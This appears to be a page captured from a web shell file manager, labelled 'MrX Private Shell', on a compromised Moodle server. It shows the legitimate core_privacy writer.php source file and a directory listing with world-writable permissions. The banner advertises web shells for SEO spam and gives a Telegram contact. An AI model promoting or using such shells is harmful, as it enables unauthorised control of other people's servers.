__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* This file contains the interface required to implmeent a content writer.
*
* @package core_privacy
* @copyright 2018 Andrew Nicols <andrew@nicols.co.uk>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
namespace core_privacy\local\request;
defined('MOODLE_INTERNAL') || die();
/**
* The writer factory class used to fetch and work with the content_writer.
*
* @copyright 2018 Andrew Nicols <andrew@nicols.co.uk>
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
*/
class writer {
/**
* @var writer The singleton instance of this writer.
*/
protected static $instance = null;
/**
* @var content_writer The current content_writer instance.
*/
protected $realwriter = null;
/**
* Constructor for the content writer.
*
* Protected to prevent direct instantiation.
*/
protected function __construct() {
}
/**
* Singleton to return or create and return a copy of a content_writer.
*
* @return content_writer
*/
protected function get_writer_instance(): content_writer {
if (null === $this->realwriter) {
if (PHPUNIT_TEST) {
$this->realwriter = new \core_privacy\tests\request\content_writer(static::instance());
} else {
$this->realwriter = new moodle_content_writer(static::instance());
}
}
return $this->realwriter;
}
/**
* Create a real content_writer for use by PHPUnit tests,
* where a mock writer will not suffice.
*
* @return content_writer
*/
public static function setup_real_writer_instance() {
if (!PHPUNIT_TEST) {
throw new \coding_exception('setup_real_writer_instance() is only for use with PHPUnit tests.');
}
$instance = static::instance();
if (null === $instance->realwriter) {
$instance->realwriter = new moodle_content_writer(static::instance());
}
}
/**
* Return an instance of
*/
final protected static function instance() {
if (null === self::$instance) {
self::$instance = new static();
}
return self::$instance;
}
/**
* Reset the writer and content_writer.
*/
final public static function reset() {
static::$instance = null;
}
/**
* Provide an instance of the writer with the specified context applied.
*
* @param \context $context The context to apply
* @return content_writer The content_writer
*/
public static function with_context(\context $context): content_writer {
return static::instance()
->get_writer_instance()
->set_context($context);
}
/**
* Export the specified user preference.
*
* @param string $component The name of the component.
* @param string $key The name of th key to be exported.
* @param string $value The value of the preference
* @param string $description A description of the value
* @return content_writer
*/
public static function export_user_preference(
string $component,
string $key,
string $value,
string $description
): content_writer {
return static::with_context(\context_system::instance())
->export_user_preference($component, $key, $value, $description);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| plugin | Folder | 0777 |
|
|
| subsystem | Folder | 0777 |
|
|
| approved_contextlist.php | File | 2.28 KB | 0777 |
|
| approved_userlist.php | File | 2.12 KB | 0777 |
|
| content_writer.php | File | 5.85 KB | 0777 |
|
| context_aware_provider.php | File | 2.23 KB | 0777 |
|
| contextlist.php | File | 6.73 KB | 0777 |
|
| contextlist_base.php | File | 5.43 KB | 0777 |
|
| contextlist_collection.php | File | 4.97 KB | 0777 |
|
| core_data_provider.php | File | 1.58 KB | 0777 |
|
| core_user_data_provider.php | File | 2.62 KB | 0777 |
|
| core_userlist_provider.php | File | 1.9 KB | 0777 |
|
| data_provider.php | File | 1.69 KB | 0777 |
|
| helper.php | File | 11.83 KB | 0777 |
|
| moodle_content_writer.php | File | 29.24 KB | 0777 |
|
| shared_data_provider.php | File | 1.73 KB | 0777 |
|
| shared_userlist_provider.php | File | 1.37 KB | 0777 |
|
| transform.php | File | 3.17 KB | 0777 |
|
| user_preference_provider.php | File | 1.71 KB | 0777 |
|
| userlist.php | File | 3.04 KB | 0777 |
|
| userlist_base.php | File | 5.64 KB | 0777 |
|
| userlist_collection.php | File | 4.76 KB | 0777 |
|
| userlist_provider.php | File | 1.3 KB | 0777 |
|
| writer.php | File | 4.13 KB | 0777 |
|